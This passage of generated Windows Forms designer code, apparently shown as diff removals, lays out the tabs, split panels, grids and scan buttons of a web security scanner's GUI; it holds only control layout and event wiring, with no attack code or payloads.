((System.ComponentModel.ISupportInitialize)(this.ASRequestScanCookieGrid)).BeginInit(); - this.ASRequestHeadersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanHeadersGrid)).BeginInit(); - this.ASRequestParameterNamesTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ASScanPluginsGrid)).BeginInit(); - this.ScanTopPanel.SuspendLayout(); - this.ScanJobsBottomSplit.Panel1.SuspendLayout(); - this.ScanJobsBottomSplit.Panel2.SuspendLayout(); - this.ScanJobsBottomSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ASQueueGrid)).BeginInit(); - this.ScanQueueMenu.SuspendLayout(); - this.panel2.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigScannerThreadMaxCountTB)).BeginInit(); - this.ASTraceTab.SuspendLayout(); - this.ScanTraceBaseSplit.Panel1.SuspendLayout(); - this.ScanTraceBaseSplit.Panel2.SuspendLayout(); - this.ScanTraceBaseSplit.SuspendLayout(); - this.ScanTraceTopSplit.Panel1.SuspendLayout(); - this.ScanTraceTopSplit.Panel2.SuspendLayout(); - this.ScanTraceTopSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanTraceGrid)).BeginInit(); - this.ScanTraceBottomSplit.Panel1.SuspendLayout(); - this.ScanTraceBottomSplit.Panel2.SuspendLayout(); - this.ScanTraceBottomSplit.SuspendLayout(); - this.ScanTraceTabs.SuspendLayout(); - this.ScanTraceOverviewTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).BeginInit(); - this.ScanTraceDetailedInfoTab.SuspendLayout(); - this.mt_manual.SuspendLayout(); - this.MTFirstBaseSplit.Panel1.SuspendLayout(); - this.MTFirstBaseSplit.Panel2.SuspendLayout(); - this.MTFirstBaseSplit.SuspendLayout(); - this.MTBaseTopSplit.Panel1.SuspendLayout(); - this.MTBaseTopSplit.Panel2.SuspendLayout(); - this.MTBaseTopSplit.SuspendLayout(); - this.MTBaseSplit.Panel1.SuspendLayout(); - this.MTBaseSplit.Panel2.SuspendLayout(); - this.MTBaseSplit.SuspendLayout(); - this.TestBaseRequestSplit.Panel1.SuspendLayout(); - this.TestBaseRequestSplit.Panel2.SuspendLayout(); - this.TestBaseRequestSplit.SuspendLayout(); - this.LogMenu.SuspendLayout(); - this.panel4.SuspendLayout(); - this.MTResponseSideTabs.SuspendLayout(); - this.MTResponseTab.SuspendLayout(); - this.MTGroupHistoryTab.SuspendLayout(); - this.TestGroupHistoryBaseSplit.Panel1.SuspendLayout(); - this.TestGroupHistoryBaseSplit.Panel2.SuspendLayout(); - this.TestGroupHistoryBaseSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.TestGroupLogGrid)).BeginInit(); - this.MTHelp.SuspendLayout(); - this.mt_scripting.SuspendLayout(); - this.ScriptingShellSplit.Panel1.SuspendLayout(); - this.ScriptingShellSplit.Panel2.SuspendLayout(); - this.ScriptingShellSplit.SuspendLayout(); - this.panel3.SuspendLayout(); - this.ScriptingShellTabs.SuspendLayout(); - this.InteractiveShellTP.SuspendLayout(); - this.ShellInPanel.SuspendLayout(); - this.MultiLineShellTP.SuspendLayout(); - this.ScriptedSendTP.SuspendLayout(); - this.ScriptingHelpTP.SuspendLayout(); - this.ScriptingShellAPISplit.Panel1.SuspendLayout(); - this.ScriptingShellAPISplit.Panel2.SuspendLayout(); - this.ScriptingShellAPISplit.SuspendLayout(); - this.ScriptingShellAPITreeTabs.SuspendLayout(); - this.ScriptingShellAPITreePythonTab.SuspendLayout(); - this.ScriptingShellAPITreeRubyTab.SuspendLayout(); - this.mt_proxy.SuspendLayout(); - this.ProxyBaseSplit.Panel1.SuspendLayout(); - this.ProxyBaseSplit.Panel2.SuspendLayout(); - this.ProxyBaseSplit.SuspendLayout(); - this.ProxyBottomPanel.SuspendLayout(); - this.ProxyInterceptTabs.SuspendLayout(); - this.ProxyInterceptRequestTab.SuspendLayout(); - this.ProxyInterceptResponseTab.SuspendLayout(); - this.ProxyScriptedInterceptTab.SuspendLayout(); - this.ScriptedInterceptionBaseSplit.Panel1.SuspendLayout(); - this.ScriptedInterceptionBaseSplit.Panel2.SuspendLayout(); - this.ScriptedInterceptionBaseSplit.SuspendLayout(); - this.panel5.SuspendLayout(); - this.ScriptedInterceptionBottomSplit.Panel1.SuspendLayout(); - this.ScriptedInterceptionBottomSplit.Panel2.SuspendLayout(); - this.ScriptedInterceptionBottomSplit.SuspendLayout(); - this.ProxyHelpTab.SuspendLayout(); - this.mt_logs.SuspendLayout(); - this.LogBaseSplit.Panel1.SuspendLayout(); - this.LogBaseSplit.Panel2.SuspendLayout(); - this.LogBaseSplit.SuspendLayout(); - this.LogsTopSplit.Panel1.SuspendLayout(); - this.LogsTopSplit.Panel2.SuspendLayout(); - this.LogsTopSplit.SuspendLayout(); - this.LogDisplayTabs.SuspendLayout(); - this.tabPage7.SuspendLayout(); - this.tabPage29.SuspendLayout(); - this.tabPage1.SuspendLayout(); - this.LogsBottomSplit.Panel1.SuspendLayout(); - this.LogsBottomSplit.Panel2.SuspendLayout(); - this.LogsBottomSplit.SuspendLayout(); - this.LogTabs.SuspendLayout(); - this.ProxyLogTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ProxyLogGrid)).BeginInit(); - this.ScanLogTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanLogGrid)).BeginInit(); - this.TestLogTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.TestLogGrid)).BeginInit(); - this.ShellLogTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ShellLogGrid)).BeginInit(); - this.ProbeLogTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ProbeLogGrid)).BeginInit(); - this.OtherLogTab.SuspendLayout(); - this.OtherLogsTabBaseSplit.Panel1.SuspendLayout(); - this.OtherLogsTabBaseSplit.Panel2.SuspendLayout(); - this.OtherLogsTabBaseSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.OtherLogSourceGrid)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.OtherLogGrid)).BeginInit(); - this.SiteMapLogTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.SiteMapLogGrid)).BeginInit(); - this.mt_results.SuspendLayout(); - this.ResultsTabMainSplit.Panel1.SuspendLayout(); - this.ResultsTabMainSplit.Panel2.SuspendLayout(); - this.ResultsTabMainSplit.SuspendLayout(); - this.ResultsTriggersMainSplit.Panel1.SuspendLayout(); - this.ResultsTriggersMainSplit.Panel2.SuspendLayout(); - this.ResultsTriggersMainSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ResultsTriggersGrid)).BeginInit(); - this.ResultsDisplayTabs.SuspendLayout(); - this.ResultsTriggerHighlightTab.SuspendLayout(); - this.ResultsRequestTab.SuspendLayout(); - this.ResultsResponseTab.SuspendLayout(); - this.ResultsTriggerToolsTab.SuspendLayout(); - this.TrigggerAnalysisToolsSplit.Panel1.SuspendLayout(); - this.TrigggerAnalysisToolsSplit.Panel2.SuspendLayout(); - this.TrigggerAnalysisToolsSplit.SuspendLayout(); - this.ResultsScanTracePanel.SuspendLayout(); - this.ResultsTriggerOptionsPanel.SuspendLayout(); - this.ResultsTriggersComparePanel.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.SelectForDiffTriggersGrid)).BeginInit(); - this.ResultsHelpTab.SuspendLayout(); - this.mt_hawas.SuspendLayout(); - this.mt_dev.SuspendLayout(); - this.DevMainTabs.SuspendLayout(); - this.DevModulesAndPluginsTab.SuspendLayout(); - this.PluginsMainSplit.Panel1.SuspendLayout(); - this.PluginsMainSplit.Panel2.SuspendLayout(); - this.PluginsMainSplit.SuspendLayout(); - this.PluginTreeMenu.SuspendLayout(); - this.PluginEditorSplit.Panel1.SuspendLayout(); - this.PluginEditorSplit.Panel2.SuspendLayout(); - this.PluginEditorSplit.SuspendLayout(); - this.PluginsCentreSplit.Panel1.SuspendLayout(); - this.PluginsCentreSplit.Panel2.SuspendLayout(); - this.PluginsCentreSplit.SuspendLayout(); - this.PluginEditorAPISplit.Panel1.SuspendLayout(); - this.PluginEditorAPISplit.Panel2.SuspendLayout(); - this.PluginEditorAPISplit.SuspendLayout(); - this.PluginEditorAPITreeTabs.SuspendLayout(); - this.PluginEditorPythonAPITreeTab.SuspendLayout(); - this.PluginEditorRubyAPITreeTab.SuspendLayout(); - this.DevTraceTab.SuspendLayout(); - this.TraceMainTabs.SuspendLayout(); - this.SessionPluginTraceTab.SuspendLayout(); - this.SessionPluginTraceBaseSplit.Panel1.SuspendLayout(); - this.SessionPluginTraceBaseSplit.Panel2.SuspendLayout(); - this.SessionPluginTraceBaseSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.SessionPluginTraceGrid)).BeginInit(); - this.SessionPluginTraceBottomTabs.SuspendLayout(); - this.SessionPluginTraceMessageTab.SuspendLayout(); - this.SessionPluginTraceMsgBaseSplit.Panel1.SuspendLayout(); - this.SessionPluginTraceMsgBaseSplit.Panel2.SuspendLayout(); - this.SessionPluginTraceMsgBaseSplit.SuspendLayout(); - this.SessionPluginTraceLogViewTab.SuspendLayout(); - this.SessionPluginTraceSessionTabs.SuspendLayout(); - this.tabPage12.SuspendLayout(); - this.tabPage3.SuspendLayout(); - this.DebugTraceTab.SuspendLayout(); - this.TraceBaseSplit.Panel1.SuspendLayout(); - this.TraceBaseSplit.Panel2.SuspendLayout(); - this.TraceBaseSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.TraceGrid)).BeginInit(); - this.DevHelpTab.SuspendLayout(); - this.JSTainTraceEditMenu.SuspendLayout(); - this.MTRequestFormatPluginsMenu.SuspendLayout(); - this.ProxyResponseFormatPluginsMenu.SuspendLayout(); - this.ProxyRequestFormatPluginsMenu.SuspendLayout(); - this.ConfigPanel.SuspendLayout(); - this.ConfigPanelTabs.SuspendLayout(); - this.ConfigInterceptRulesTab.SuspendLayout(); - this.ConfigRuleKeywordInResponseGB.SuspendLayout(); - this.ConfigRuleKeywordInRequestGB.SuspendLayout(); - this.groupBox2.SuspendLayout(); - this.groupBox1.SuspendLayout(); - this.ConfigDisplayRulesTab.SuspendLayout(); - this.groupBox3.SuspendLayout(); - this.groupBox4.SuspendLayout(); - this.ConfigScriptingTab.SuspendLayout(); - this.ConfigScriptBaseSplit.Panel1.SuspendLayout(); - this.ConfigScriptBaseSplit.Panel2.SuspendLayout(); - this.ConfigScriptBaseSplit.SuspendLayout(); - this.ConfigScriptPathSplit.Panel1.SuspendLayout(); - this.ConfigScriptPathSplit.Panel2.SuspendLayout(); - this.ConfigScriptPathSplit.SuspendLayout(); - this.ConfigScriptCommandSplit.Panel1.SuspendLayout(); - this.ConfigScriptCommandSplit.Panel2.SuspendLayout(); - this.ConfigScriptCommandSplit.SuspendLayout(); - this.ConfigHTTPAPITab.SuspendLayout(); - this.ConfigHTTPAPIBaseSplit.Panel1.SuspendLayout(); - this.ConfigHTTPAPIBaseSplit.Panel2.SuspendLayout(); - this.ConfigHTTPAPIBaseSplit.SuspendLayout(); - this.ConfigTaintConfigTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigDefaultJSTaintConfigGrid)).BeginInit(); - this.ConfigPassiveAnalysisTab.SuspendLayout(); - this.TopMenu.SuspendLayout(); - this.panel1.SuspendLayout(); - this.SuspendLayout(); - // - // split_main - // - this.split_main.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.split_main.Location = new System.Drawing.Point(0, 23); - this.split_main.Margin = new System.Windows.Forms.Padding(0); - this.split_main.Name = "split_main"; - // - // split_main.Panel1 - // - this.split_main.Panel1.Controls.Add(this.IronTree); - // - // split_main.Panel2 - // - this.split_main.Panel2.Controls.Add(this.main_tab); - this.split_main.Size = new System.Drawing.Size(883, 537); - this.split_main.SplitterDistance = 166; - this.split_main.TabIndex = 0; - // - // IronTree - // - this.IronTree.BackColor = System.Drawing.Color.White; - this.IronTree.ContextMenuStrip = this.IronTreeMenuStrip; - this.IronTree.Dock = System.Windows.Forms.DockStyle.Fill; - this.IronTree.Location = new System.Drawing.Point(0, 0); - this.IronTree.Margin = new System.Windows.Forms.Padding(0); - this.IronTree.Name = "IronTree"; - this.IronTree.ShowRootLines = false; - this.IronTree.Size = new System.Drawing.Size(166, 537); - this.IronTree.TabIndex = 1; - this.IronTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.IronTree_AfterSelect); - // - // IronTreeMenuStrip - // - this.IronTreeMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ScanBranchToolStripMenuItem, - this.RunModulesOnFindingToolStripMenuItem, - this.RunModulesOnUrlToolStripMenuItem}); - this.IronTreeMenuStrip.Name = "IronTreeMenuStrip"; - this.IronTreeMenuStrip.Size = new System.Drawing.Size(227, 70); - this.IronTreeMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(this.IronTreeMenuStrip_Opening); - // - // ScanBranchToolStripMenuItem - // - this.ScanBranchToolStripMenuItem.Name = "ScanBranchToolStripMenuItem"; - this.ScanBranchToolStripMenuItem.Size = new System.Drawing.Size(226, 22); - this.ScanBranchToolStripMenuItem.Text = "Scan Branch"; - this.ScanBranchToolStripMenuItem.Click += new System.EventHandler(this.ScanBranchToolStripMenuItem_Click); - // - // RunModulesOnFindingToolStripMenuItem - // - this.RunModulesOnFindingToolStripMenuItem.Name = "RunModulesOnFindingToolStripMenuItem"; - this.RunModulesOnFindingToolStripMenuItem.Size = new System.Drawing.Size(226, 22); - this.RunModulesOnFindingToolStripMenuItem.Text = "Run Modules on this Finding"; - // - // RunModulesOnUrlToolStripMenuItem - // - this.RunModulesOnUrlToolStripMenuItem.Name = "RunModulesOnUrlToolStripMenuItem"; - this.RunModulesOnUrlToolStripMenuItem.Size = new System.Drawing.Size(226, 22); - this.RunModulesOnUrlToolStripMenuItem.Text = "Run Modules on this Url"; - // - // main_tab - // - this.main_tab.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.main_tab.Controls.Add(this.mt_console); - this.main_tab.Controls.Add(this.mt_auto); - this.main_tab.Controls.Add(this.mt_manual); - this.main_tab.Controls.Add(this.mt_scripting); - this.main_tab.Controls.Add(this.mt_proxy); - this.main_tab.Controls.Add(this.mt_logs); - this.main_tab.Controls.Add(this.mt_results); - this.main_tab.Controls.Add(this.mt_hawas); - this.main_tab.Controls.Add(this.mt_dev); - this.main_tab.Location = new System.Drawing.Point(0, 0); - this.main_tab.Margin = new System.Windows.Forms.Padding(0); - this.main_tab.Name = "main_tab"; - this.main_tab.Padding = new System.Drawing.Point(0, 0); - this.main_tab.SelectedIndex = 0; - this.main_tab.Size = new System.Drawing.Size(713, 537); - this.main_tab.TabIndex = 0; - this.main_tab.SelectedIndexChanged += new System.EventHandler(this.main_tab_SelectedIndexChanged); - // - // mt_console - // - this.mt_console.BackColor = System.Drawing.Color.White; - this.mt_console.Controls.Add(this.ScanJobsCompletedLbl); - this.mt_console.Controls.Add(this.ScanJobsCreatedLbl); - this.mt_console.Controls.Add(this.CrawlerRequestsLbl); - this.mt_console.Controls.Add(this.ConsoleStatusTB); - this.mt_console.Controls.Add(this.label30); - this.mt_console.Controls.Add(this.ConsoleStartScanBtn); - this.mt_console.Controls.Add(this.richTextBox2); - this.mt_console.Controls.Add(this.label29); - this.mt_console.Controls.Add(this.ConsoleScanUrlTB); - this.mt_console.Location = new System.Drawing.Point(4, 22); - this.mt_console.Name = "mt_console"; - this.mt_console.Size = new System.Drawing.Size(705, 511); - this.mt_console.TabIndex = 8; - this.mt_console.Text = " Console "; - // - // ScanJobsCompletedLbl - // - this.ScanJobsCompletedLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanJobsCompletedLbl.AutoSize = true; - this.ScanJobsCompletedLbl.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ScanJobsCompletedLbl.Location = new System.Drawing.Point(252, 259); - this.ScanJobsCompletedLbl.Name = "ScanJobsCompletedLbl"; - this.ScanJobsCompletedLbl.Size = new System.Drawing.Size(148, 18); - this.ScanJobsCompletedLbl.TabIndex = 16; - this.ScanJobsCompletedLbl.Text = "ScanJobs Completed: 0"; - this.ScanJobsCompletedLbl.Visible = false; - // - // ScanJobsCreatedLbl - // - this.ScanJobsCreatedLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanJobsCreatedLbl.AutoSize = true; - this.ScanJobsCreatedLbl.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ScanJobsCreatedLbl.Location = new System.Drawing.Point(272, 229); - this.ScanJobsCreatedLbl.Name = "ScanJobsCreatedLbl"; - this.ScanJobsCreatedLbl.Size = new System.Drawing.Size(128, 18); - this.ScanJobsCreatedLbl.TabIndex = 15; - this.ScanJobsCreatedLbl.Text = "ScanJobs Created: 0"; - this.ScanJobsCreatedLbl.Visible = false; - // - // CrawlerRequestsLbl - // - this.CrawlerRequestsLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CrawlerRequestsLbl.AutoSize = true; - this.CrawlerRequestsLbl.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CrawlerRequestsLbl.Location = new System.Drawing.Point(236, 198); - this.CrawlerRequestsLbl.Name = "CrawlerRequestsLbl"; - this.CrawlerRequestsLbl.Size = new System.Drawing.Size(164, 18); - this.CrawlerRequestsLbl.TabIndex = 14; - this.CrawlerRequestsLbl.Text = "Requests From Crawler: 0"; - this.CrawlerRequestsLbl.Visible = false; - // - // ConsoleStatusTB - // - this.ConsoleStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConsoleStatusTB.BackColor = System.Drawing.Color.White; - this.ConsoleStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ConsoleStatusTB.Location = new System.Drawing.Point(141, 150); - this.ConsoleStatusTB.Multiline = true; - this.ConsoleStatusTB.Name = "ConsoleStatusTB"; - this.ConsoleStatusTB.ReadOnly = true; - this.ConsoleStatusTB.Size = new System.Drawing.Size(513, 45); - this.ConsoleStatusTB.TabIndex = 13; - this.ConsoleStatusTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.ConsoleStatusTB.Enter += new System.EventHandler(this.ConsoleStatusTB_Enter); - // - // label30 - // - this.label30.AutoSize = true; - this.label30.ForeColor = System.Drawing.Color.Blue; - this.label30.Location = new System.Drawing.Point(8, 128); - this.label30.Name = "label30"; - this.label30.Size = new System.Drawing.Size(114, 13); - this.label30.TabIndex = 12; - this.label30.Text = "Eg: http://example.org"; - // - // ConsoleStartScanBtn - // - this.ConsoleStartScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConsoleStartScanBtn.BackColor = System.Drawing.Color.Transparent; - this.ConsoleStartScanBtn.Location = new System.Drawing.Point(614, 104); - this.ConsoleStartScanBtn.Name = "ConsoleStartScanBtn"; - this.ConsoleStartScanBtn.Size = new System.Drawing.Size(83, 23); - this.ConsoleStartScanBtn.TabIndex = 11; - this.ConsoleStartScanBtn.Text = "Start Scan"; - this.ConsoleStartScanBtn.UseVisualStyleBackColor = false; - this.ConsoleStartScanBtn.Click += new System.EventHandler(this.ConsoleStartScanBtn_Click); - // - // richTextBox2 - // - this.richTextBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.richTextBox2.BackColor = System.Drawing.Color.White; - this.richTextBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.richTextBox2.Cursor = System.Windows.Forms.Cursors.Arrow; - this.richTextBox2.Location = new System.Drawing.Point(0, 307); - this.richTextBox2.Margin = new System.Windows.Forms.Padding(0); - this.richTextBox2.Name = "richTextBox2"; - this.richTextBox2.ReadOnly = true; - this.richTextBox2.Size = new System.Drawing.Size(705, 199); - this.richTextBox2.TabIndex = 6; - this.richTextBox2.Text = ""; - this.richTextBox2.Visible = false; - // - // label29 - // - this.label29.AutoSize = true; - this.label29.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label29.Location = new System.Drawing.Point(4, 106); - this.label29.Name = "label29"; - this.label29.Size = new System.Drawing.Size(131, 18); - this.label29.TabIndex = 5; - this.label29.Text = "Enter a URL to Scan:"; - // - // ConsoleScanUrlTB - // - this.ConsoleScanUrlTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConsoleScanUrlTB.Location = new System.Drawing.Point(141, 106); - this.ConsoleScanUrlTB.Name = "ConsoleScanUrlTB"; - this.ConsoleScanUrlTB.Size = new System.Drawing.Size(467, 20); - this.ConsoleScanUrlTB.TabIndex = 4; - // - // mt_auto - // - this.mt_auto.Controls.Add(this.ASMainTabs); - this.mt_auto.Location = new System.Drawing.Point(4, 22); - this.mt_auto.Margin = new System.Windows.Forms.Padding(0); - this.mt_auto.Name = "mt_auto"; - this.mt_auto.Size = new System.Drawing.Size(705, 511); - this.mt_auto.TabIndex = 3; - this.mt_auto.Text = " Automated Scanning "; - this.mt_auto.UseVisualStyleBackColor = true; - // - // ASMainTabs - // - this.ASMainTabs.Controls.Add(this.ASConfigureTab); - this.ASMainTabs.Controls.Add(this.ASTraceTab); - this.ASMainTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASMainTabs.Location = new System.Drawing.Point(0, 0); - this.ASMainTabs.Margin = new System.Windows.Forms.Padding(0); - this.ASMainTabs.Name = "ASMainTabs"; - this.ASMainTabs.Padding = new System.Drawing.Point(0, 0); - this.ASMainTabs.SelectedIndex = 0; - this.ASMainTabs.Size = new System.Drawing.Size(705, 511); - this.ASMainTabs.TabIndex = 0; - // - // ASConfigureTab - // - this.ASConfigureTab.Controls.Add(this.ScanJobsBaseSplit); - this.ASConfigureTab.Location = new System.Drawing.Point(4, 22); - this.ASConfigureTab.Margin = new System.Windows.Forms.Padding(0); - this.ASConfigureTab.Name = "ASConfigureTab"; - this.ASConfigureTab.Size = new System.Drawing.Size(697, 485); - this.ASConfigureTab.TabIndex = 0; - this.ASConfigureTab.Text = " Scan Jobs "; - this.ASConfigureTab.UseVisualStyleBackColor = true; - // - // ScanJobsBaseSplit - // - this.ScanJobsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanJobsBaseSplit.Location = new System.Drawing.Point(0, 0); - this.ScanJobsBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScanJobsBaseSplit.Name = "ScanJobsBaseSplit"; - this.ScanJobsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScanJobsBaseSplit.Panel1 - // - this.ScanJobsBaseSplit.Panel1.Controls.Add(this.ScanDisplayPanel); - this.ScanJobsBaseSplit.Panel1.Controls.Add(this.ScanTopPanel); - // - // ScanJobsBaseSplit.Panel2 - // - this.ScanJobsBaseSplit.Panel2.Controls.Add(this.ScanJobsBottomSplit); - this.ScanJobsBaseSplit.Size = new System.Drawing.Size(697, 485); - this.ScanJobsBaseSplit.SplitterDistance = 289; - this.ScanJobsBaseSplit.SplitterWidth = 2; - this.ScanJobsBaseSplit.TabIndex = 0; - // - // ScanDisplayPanel - // - this.ScanDisplayPanel.Controls.Add(this.ASBaseTabs); - this.ScanDisplayPanel.Controls.Add(this.ASExceptionTB); - this.ScanDisplayPanel.Controls.Add(this.SessionPluginLbl); - this.ScanDisplayPanel.Controls.Add(this.ASScanPluginsGrid); - this.ScanDisplayPanel.Controls.Add(this.ConfigureScanRequestSSLCB); - this.ScanDisplayPanel.Controls.Add(this.ScanStatusLbl); - this.ScanDisplayPanel.Controls.Add(this.ASClearScanBtn); - this.ScanDisplayPanel.Controls.Add(this.ScanIDLbl); - this.ScanDisplayPanel.Controls.Add(this.ASStartScanBtn); - this.ScanDisplayPanel.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanDisplayPanel.Location = new System.Drawing.Point(0, 0); - this.ScanDisplayPanel.Margin = new System.Windows.Forms.Padding(0); - this.ScanDisplayPanel.Name = "ScanDisplayPanel"; - this.ScanDisplayPanel.Size = new System.Drawing.Size(697, 289); - this.ScanDisplayPanel.TabIndex = 16; - // - // ASBaseTabs - // - this.ASBaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASBaseTabs.Controls.Add(this.ASRequestTab); - this.ASBaseTabs.Controls.Add(this.ASInjectionPointTab); - this.ASBaseTabs.Location = new System.Drawing.Point(0, 56); - this.ASBaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.ASBaseTabs.Name = "ASBaseTabs"; - this.ASBaseTabs.Padding = new System.Drawing.Point(0, 0); - this.ASBaseTabs.SelectedIndex = 0; - this.ASBaseTabs.Size = new System.Drawing.Size(561, 233); - this.ASBaseTabs.TabIndex = 13; - // - // ASRequestTab - // - this.ASRequestTab.BackColor = System.Drawing.Color.White; - this.ASRequestTab.Controls.Add(this.ScanJobsTopSplit); - this.ASRequestTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestTab.Name = "ASRequestTab"; - this.ASRequestTab.Size = new System.Drawing.Size(553, 207); - this.ASRequestTab.TabIndex = 0; - this.ASRequestTab.Text = " Request To Scan "; - // - // ScanJobsTopSplit - // - this.ScanJobsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanJobsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; - this.ScanJobsTopSplit.IsSplitterFixed = true; - this.ScanJobsTopSplit.Location = new System.Drawing.Point(0, 0); - this.ScanJobsTopSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScanJobsTopSplit.Name = "ScanJobsTopSplit"; - // - // ScanJobsTopSplit.Panel1 - // - this.ScanJobsTopSplit.Panel1.Controls.Add(this.ASRequestScanFullTabs); - // - // ScanJobsTopSplit.Panel2 - // - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanBodyCB); - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanParameterNamesCB); - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanAllCB); - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanHeadersCB); - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanQueryCB); - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanCookieCB); - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanURLCB); - this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASInjectHeaderLbl); - this.ScanJobsTopSplit.Size = new System.Drawing.Size(553, 207); - this.ScanJobsTopSplit.SplitterDistance = 526; - this.ScanJobsTopSplit.SplitterWidth = 2; - this.ScanJobsTopSplit.TabIndex = 7; - // - // ASRequestScanFullTabs - // - this.ASRequestScanFullTabs.Controls.Add(this.tabPage20); - this.ASRequestScanFullTabs.Controls.Add(this.tabPage21); - this.ASRequestScanFullTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestScanFullTabs.Location = new System.Drawing.Point(0, 0); - this.ASRequestScanFullTabs.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanFullTabs.Multiline = true; - this.ASRequestScanFullTabs.Name = "ASRequestScanFullTabs"; - this.ASRequestScanFullTabs.Padding = new System.Drawing.Point(0, 0); - this.ASRequestScanFullTabs.SelectedIndex = 0; - this.ASRequestScanFullTabs.Size = new System.Drawing.Size(526, 207); - this.ASRequestScanFullTabs.TabIndex = 0; - // - // tabPage20 - // - this.tabPage20.Controls.Add(this.ASRequestRawHeadersIDV); - this.tabPage20.Location = new System.Drawing.Point(4, 22); - this.tabPage20.Margin = new System.Windows.Forms.Padding(0); - this.tabPage20.Name = "tabPage20"; - this.tabPage20.Size = new System.Drawing.Size(518, 181); - this.tabPage20.TabIndex = 0; - this.tabPage20.Text = "Raw Headers"; - 